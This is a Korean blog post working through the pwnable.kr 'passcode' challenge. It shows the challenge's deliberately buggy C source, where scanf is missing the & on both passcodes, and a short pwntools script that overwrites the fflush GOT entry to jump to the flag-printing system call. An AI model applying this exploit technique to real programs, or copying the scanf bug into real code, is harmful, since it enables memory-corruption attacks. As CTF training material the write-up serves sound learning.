본문 바로가기

포너블

[포너블/pwnable.kr] passcode

#include <stdio.h>
#include <stdlib.h>

void login(){
        int passcode1;
        int passcode2;

        printf("enter passcode1 : ");
        scanf("%d", passcode1);
        fflush(stdin);

        // ha! mommy told me that 32bit is vulnerable to bruteforcing :)
        printf("enter passcode2 : ");
        scanf("%d", passcode2);

        printf("checking...\n");
        if(passcode1==338150 && passcode2==13371337){
                printf("Login OK!\n");
                system("/bin/cat flag");
        }
        else{
                printf("Login Failed!\n");
                exit(0);
        }
}

void welcome(){
        char name[100];
        printf("enter you name : ");
        scanf("%100s", name);
        printf("Welcome %s!\n", name);
}

int main(){
        printf("Toddler's Secure Login System 1.0 beta.\n");

        welcome();
        login();

        // something after login...
        printf("Now I can safely trust you that you have credential :)\n");
        return 0;
}
  1. welcome 함수 호출 → 지역변수 name에 100만큼 입력
  2. login 함수 호출
  3. passcode1, passcode2 입력
  4. passcode1==338150 && passcode2==13371337 이면 로그인 성공 → 플래그 출력

처음 문제를 딱 봤을 때는… 엥? 그냥 passcode1, 2에 알맞은 값 넣어 주면 되는 거 아닌가? 생각했다.

뭐야 왜 Segmentation fault여

 

다시 코드를 보니 passcode1, passcode2 입력받을 때 &가 빠져 있었다… ㅎ

이거 뭐 카나리도 있고… name에 100만큼 입력도 받고… 뭐 어떻게 풀어야 하는지 감이 안 잡혔다.

 

SFP 한 바이트 덮는 건가? 싶어서 한번 해 보고 → 실패

카나리를 브포로 구하는 건가? → 실패

 

아오 도저히 모르겠었는데 GOT overwrite로 풀면 된단다

밑의 두 사진은 welcome함수의 name 변수의 a*100을 입력했을 때와 아닐 때의 login함수의 스택이다.

 

name에서 입력해 준 값이 login 함수에도 영향을 끼치는 것을 볼 수 있다.

passcode1 변수를 출력해 보면 이렇게 다른 것을 볼 수 있다.

이 함수의 문제 코드에서 passcode1, 2를 입력받을 때 &를 쓰지 않았으므로 이 변수의 주소가 아닌 값에 입력을 받을 것이다.

따라서 passcode1의 값 (name에)에 주소를 넣어 주고, 입력으로 값을 넣어 주면 될 것 같다.

이제 여기에서 GOT overwrite를 할 수 있는데, passcode1의 값에 특정 함수의 GOT를 넣어 주고, 플래그를 출력하는 system 함수를 입력해 주면 될 것이다!!

 

tmp 폴더에 파이썬 파일을 하나 만들어 주고, 코드를 작성하였다.

 

    from pwn import *

    p = process("/home/passcode/passcode")
    e = ELF("/home/passcode/passcode")

    printf = e.got["fflush"]
    p.sendline(p32(printf) * 25)

    p.sendline("134514147")

    p.interactive()

 

되게 간단한 코드지만… 작성하는 것은 오래 걸렸다.

아직도 pwntools 문법에 적응하지 못한 것이 충격이었다… ㅎ

 

이렇게 코드를 짜 주고, 실행시켜 보면

 

 

플래그 파일이 없다고 뜨는데, 아주 당연하게도 tmp 폴더에 flag가 없으니… 출력이 안 된다.

 

 

이렇게 심볼릭 링크를 만들어 준 후 실행시키니 flag가 잘 뜨는 것을 볼 수 있다.

'포너블' 카테고리의 다른 글

[포너블/pwnable.kr] cmd2  (0) 2023.08.30
[포너블/pwnable.kr] cmd1  (0) 2023.08.30
[포너블/pwnable.kr] blackjack  (0) 2023.08.30
[pwnable.kr/포너블] random  (0) 2023.08.24
[pwnable.kr/포너블] bof  (0) 2023.07.30